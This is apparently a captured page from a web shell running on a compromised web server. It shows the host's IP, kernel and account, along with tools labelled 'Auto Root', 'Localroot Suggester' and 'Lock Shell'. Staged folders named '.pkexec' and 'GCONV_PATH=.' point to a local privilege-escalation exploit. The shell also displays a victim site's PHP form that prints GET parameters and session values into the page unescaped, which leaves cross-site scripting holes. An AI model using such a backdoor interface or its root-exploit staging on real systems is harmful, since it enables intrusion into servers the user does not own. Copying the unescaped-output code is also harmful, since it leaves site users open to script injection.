Linux 186-227-203-186.cprapid.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Apache
Server IP : 186.227.203.186 & Your IP : 216.73.217.146
Domains : 154 Domain
User : pmcaxingo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
pmcaxingo /
public_html /
dimon /
views /
paginas /
Delete
Unzip
Name
Size
Permission
Date
Action
.pkexec
[ DIR ]
drwxr-xr-x
2026-04-07 19:50
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
2026-04-07 19:50
pagina_form.php
6.01
KB
-rw-r--r--
2023-10-25 14:02
Save
Rename
<form class='publicacao-form row' method="post" action="/Publicacao/insert" enctype="multipart/form-data"> <div class="col-12" id="teste"> Título: <input type='text' name='titulo' value='<?= $this->titulo ?>' maxlength="250"> </div> <div class="col-12"> Subtítulo: <input type='text' name='subtitulo' value='<?= $this->subtitulo ?>' maxlength="100"> </div> <div class="col"> Módulo: <select name="modulo" class="form-control"> <!--<option value="imagens-carousel">Imagens-carousel</option>--> <? foreach($this->_modulos as $key => $modulo){ echo"<option value='$key'>$modulo[0]</option>"; } ?> </select> </div> <div class="col"> Status: <select name="status" class="form-control"> <option value='1'>Publicado</option> <option value='2'>Não publicado</option> </select> </div> <div class="col"> Publicação COVID: <select name="publicacao_covid" class="form-control"> <option value='2'>Não</option> <option value='1'>Sim</option> </select> </div> <div class="col-12"> Texto: <textarea name='texto' class="form-control"> <?= $this->texto; ?> </textarea> </div> <div class="col-12"> Mídias: <input type="file" name="media" class="form-control" multiple> </div> <div class="col-12"> <? if($this->hash){ ?> <div style="width : 100%">Mídias desta publicação: </div> <div class="fotos-do-hash"> <? if($handle = opendir($this->diretorio_media = "media/$this->hash")){ $_fotosCidade = array(); while (false !== ($entry = readdir($handle))){ if ($entry != "." && $entry != ".."){ $src = "/{$this->diretorio_media}/{$entry}"; echo"<span class='text-center'><img src='$src'></span>"; } } closedir($handle); } else echo DimonController :: alert("Nenhuma mídia nessa publicação", "alert-danger"); ?> </div> <? } ?> <? if($this->hash and $_SESSION[usuario] == "emilio"){ ?> <br> <br> <br> <div style="width : 100%">Lixeira </div> <div class="fotos-do-hash"> <? if($handle = opendir($this->diretorio_media = "media/midias_excluidas/")){ while (false !== ($entry = readdir($handle))){ if ($entry != "." && $entry != ".."){ $array = explode("-",$entry); if($array[8] == $this->hash){ $src = "/{$this->diretorio_media}/{$entry}"; echo"<span class='text-center'><img src='$src'></span>"; } } } closedir($handle); } // else // echo DimonController :: alert("Lixeira vazia na publicação", "alert-danger"); ?> </div> <? } ?> </div> <div class="col-12"> <input type='hidden' name='id' value="<?= $this->id ?>"> <input type='hidden' name='hash' value="<?= $this->hash ?>" > <input type='hidden' name='imagem_capa' value='<?= $this->imagem_capa ?>'> <input type='hidden' name='get' value='<?= $valor = $_GET["function"] ?>'> <input type='hidden' name='user_delete' value='<?= $_SESSION[usuario] ?>'> <input type='hidden' name='function' value='<?= $_GET["function"] ?>'> <input type='hidden' name='parametro' value='<?= $_GET["parametro"] ?>'> <button type='submit' class='btn btn-primary btn-sm'>Cadastrar</button> </div> <div class="col-12 publicacao-form-result"></div> </form> <script> server_name = "<?= $_SERVER[SERVER_NAME] ?>"; $(".publicacao-form [type=text]").addClass("form-control"); CKEDITOR.replace('texto'); _imagem_capa = $("input[name=imagem_capa]").val().split("/").pop(); $(".fotos-do-hash img").each( function(){ _src = $(this).attr("src").split("/").pop(); if(_src === _imagem_capa){ // é a imagem de capa $(this).addClass("img-capa"); $(this).attr("title", "Imagem de capa desta publicação."); } else{ src_capa = "//" + server_name + $(this).attr("src"); $(this).parent().append("<br><i class='bi bi-star btn-definir-capa' title='Definir com imagem de capa' data-src-capa='"+src_capa+"'></i> <i class='btn-delete bi bi-trash' data-src-delete='"+src_capa+"' title='Excluir imagem'></i>"); } } ) $(".btn-definir-capa").click(function() { imagem_capa = $(this).attr("data-src-capa"); $.ajax({ type : "post", url : "/a/Publicacao/definir_capa", data : { id : "<?= $this->id ?>", hash : "<?= $this->hash ?>", imagem_capa : imagem_capa }, beforeSend : function(){ $(".publicacao-form-result").html("Aguarde..."); }, success : function(ret){ $(".publicacao-form-result").html(ret); } }) }); $(".btn-delete").click(function() { imagem_capa = $(this).attr("data-src-delete").split("/"); // imagem_capa = $(this).attr("data-src-delete"); user_delete = $("input[name=user_delete]").val(); $.ajax({ type : "post", url : "/a/Publicacao/excluir_midias_publicacao", data : { id : "<?= $this->id ?>", hash : "<?= $this->hash ?>", imagem_capa : imagem_capa, user_delete : user_delete }, beforeSend : function(){ $(".publicacao-form-result").html("Aguarde..."); }, success : function(ret){ $(".publicacao-form-result").html(ret); } }) }); </script> <style> .row{ margin : 0; padding : 0; } .fotos-do-hash{ display : flex; width : 100% !important; } .fotos-do-hash span{ display: inline-block !important; width : 100px !important; height : 100px !important; margin : .5rem; } .fotos-do-hash span i{ font-size : 1.5rem; } .fotos-do-hash span i:hover{ cursor : pointer; } .fotos-do-hash img{ width : 100%; height : 100%; margin : .5rem; padding : .2rem; border : 1px solid #ccc; } .img-capa{ border : 3px solid green !important; } form > div{ margin : .5rem 0 !important; padding : .5rem 0 !important; max-width : 100%; } div:has(button){ border-top : 1px solid #ccc; } </style>